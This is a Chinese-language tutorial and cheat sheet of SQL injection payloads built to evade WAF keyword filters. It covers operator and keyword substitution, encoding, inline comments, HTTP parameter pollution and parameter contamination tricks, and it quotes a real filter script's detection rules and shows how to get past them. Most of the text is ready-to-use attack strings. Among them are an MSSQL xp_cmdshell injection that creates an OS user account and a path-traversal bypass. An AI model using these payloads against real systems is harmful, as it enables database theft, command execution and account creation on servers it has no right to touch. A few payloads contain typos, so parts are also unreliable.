关于SQL注入绕过的一些知识点

一、 绕过waf思路

从第一步起，一点一点去分析，然后绕过。

1、过滤 and,or

preg_match('/(and|or)/i', $id)
Filtered injection: 1 or 1 = 1 1 and 1 = 1
Bypassed injection: 1 || 1 = 1 1 && 1 = 1

2、过滤 and, or, union

preg_match('/(and|or|union)/i', $id)
Filtered injection: union select user, password from users
Bypassed injection: 1 || (select user from users where user_id = 1) = 'admin'

3、过滤 and, or, union, where

preg_match('/(and|or|union|where)/i', $id)
Filtered injection: 1 || (select user from users where user_id = 1) = 'admin'
Bypassed injection: 1 || (select user from users limit 1) = 'admin'

4、过滤 and, or, union, where, limit

preg_match('/(and|or|union|where|limit)/i', $id)
Filtered injection: 1 || (select user from users limit 1) = 'admin'
Bypassed injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'

5、过滤 and, or, union, where, limit, group by

preg_match('/(and|or|union|where|limit|group by)/i', $id)
Filtered injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
Bypassed injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1

6、过滤 and, or, union, where, limit, group by, select

preg_match('/(and|or|union|where|limit|group by|select)/i', $id)
Filtered injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
Bypassed injection: 1 || 1 = 1 into outfile 'result.txt'
Bypassed injection: 1 || substr(user,1,1) = 'a'

7、过滤 and, or, union, where, limit, group by, select, ‘

preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)
Filtered injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
Bypassed injection: 1 || user_id is not null
Bypassed injection: 1 || substr(user,1,1) = 0x61
Bypassed injection: 1 || substr(user,1,1) = unhex(61)

8、过滤 and, or, union, where, limit, group by, select, ‘, hex

preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)
Filtered injection: 1 || substr(user,1,1) = unhex(61)
Bypassed injection: 1 || substr(user,1,1) = lower(conv(11,10,36))

9、过滤 and, or, union, where, limit, group by, select, ‘, hex, substr

preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)
Filtered injection: 1 || substr(user,1,1) = lower(conv(11,10,36))
Bypassed injection: 1 || lpad(user,7,1)

10、过滤 and, or, union, where, limit, group by, select, ‘, hex, substr, 空格

preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)
Filtered injection: 1 || lpad(user,7,1)
ypassed injection: 1%0b||%0blpad(user,7,1)

二、正则绕过

根据正则的的模糊匹配特性绕过，比如过滤了'='

filtered injection: 1 or 1 = 1

Bypassed injection: 1 or 1,1 or ‘1',1 or char(97)

eg:
filtered injection:  1 union select 1, table_name from information_schema.tables where table_name = 'users'
Bypassed injection:  1 union select 1, table_name from information_schema.tables where table_name between 'a' and 'z'
Bypassed injection:  1 union select 1, table_name from information_schema.tables where table_name between char(97) and char(122)
Bypassed injection:  1 union select 1, table_name from information_schema.tables where table_name between 0x61 and 0x7a
Bypassed Injection:  1 union select 1, table_name from information_schema.tables where table_name like 0x7573657273

三、通用绕过

1.注释符

?id=1+un//ion+se//lect+1,2,3–

2.大小写

?id=1+UnIoN//SeLecT//1,2,3–

3.关键字替换

有些waf等使用preg_replace替换了SQL关键字

?id=1+UNunionION+SEselectLECT+1,2,3--
?id=1+uni%0bon+se%0blect+1,2,3--

有时候注释符'/**/‘可能被过滤，也可以使用%0b绕过

Forbidden: http://localhost/id/1/**/||/**/lpad(first_name,7,1).html
Bypassed : http://localhost/id/1%0b||%0blpad(first_name,7,1).html

4.编码

一个经典的脚本：Nukesentinel.php

// Check for UNION attack
  // Copyright 2004(c) Raven PHP Scripts
  $blocker_row = $blocker_array[1];
  if($blocker_row['activate'] > 0) {
  if (stristr($nsnst_const['query_string'],'+union+') OR \
  stristr($nsnst_const['query_string'],'%20union%20') OR \
  stristr($nsnst_const['query_string'],'*/union/*') OR \
  stristr($nsnst_const['query_string'],' union ') OR \
  stristr($nsnst_const['query_string_base64'],'+union+') OR \
  stristr($nsnst_const['query_string_base64'],'%20union%20') OR \
  stristr($nsnst_const['query_string_base64'],'*/union/*') OR \
  stristr($nsnst_const['query_string_base64'],' union ')) { // block_ip($blocker_row);
   die("BLOCK IP 1 " );
  }
  }

Forbidden: http://localhost/php/?/**/union/**/select
Bypassed : http://localhost/php/?/%2A%2A/union/%2A%2A/select
Bypassed : http://localhost/php/?%2f**%2funion%2f**%2fselect

5.缓冲区溢出

http://localhost/news.php?id=1+and+(select 1)=(select 0xA*1000)+union+select+1,2,version(),database(),user(),6,7,8,9,10–

6.内联注释(mysql)

http://localhost/news.php?id=1/*!UnIoN*/SeLecT+1,2,3--
http://localhost/news.php?id=/*!UnIoN*/+/*!SeLecT*/+1,2,concat(/*!table_name*/)+FrOm/*!information_schema*/.tables/*!WhErE*/+/*!TaBlE_sChEMa*/+like+database()--

四、高级绕过

1.HPP（http参数污染)

举个例子：

index.php?par1=val1&par1=val2
| web server | par1 |
| :— | :— |
| ASP.NET/IIS | val1,val2 |
| ASP/IIS | val1,val2 |
| PHP/Apache | val2 |
| JSP/Tomcat | val1 |

eg:

在ASP/ASP.NET的环境下

Forbidden: http://localhost/search.aspx?q=select name,password from users
Bypassed : http://localhost/search.aspx?q=select name&q=password from users
Bypassed : http://localhost/search.aspx?q=select/*&q=*/name&q=password/*&q=*/from/*&q=*/users
Bypassed : http://localhost/news.aspx?id=1'; /*&id=1*/ EXEC /*&id=1*/ master..xp_cmdshell /*&id=1*/ net user test test /*&id=1*/ --

2.HPC(http参数污染)

RFC2396定义了如下一些字符：

Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()
Reserved : ; / ? : @ & = + $ ,
Unwise : { } | \ ^ [ ] `

不同的Web服务器处理处理构造得特殊请求时有不同的逻辑：

| Query String | Apache/2.2.16,PHP/5.3.3 | IIS6/ASP |
| :— | :— | :— |
| ?test[1=2 | test_1=2 | test[1=2 |
| ?test=% | test=% | test= |
| ?test%00=1 | test= | test=1 |
| ?test=1%001 | NULL | test=1 |
| ?test+d=1+2 | test_d=1 2 | test d=1 2 |

eg:

Forbidden: http://localhost/?xp_cmdshell
Bypassed : http://localhost/?xp[cmdshell
Forbidden: http://localhost/test.asp?file=../flag.txt
Bypassed : http://localhost/test.asp?file=.%./flag.txt
Forbidden: http://localhost/news.asp?id=10 and 1=0/(select top 1 table_name from information_schema.tables)
Bypassed : http://localhost/news.asp?id=10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables)

总结

以上就是关于sql注入绕过的技巧总结，希望本文的内容对大家的学习或者工作能带来一定的帮助，如果有疑问大家可以留言交流，谢谢大家对我们的支持。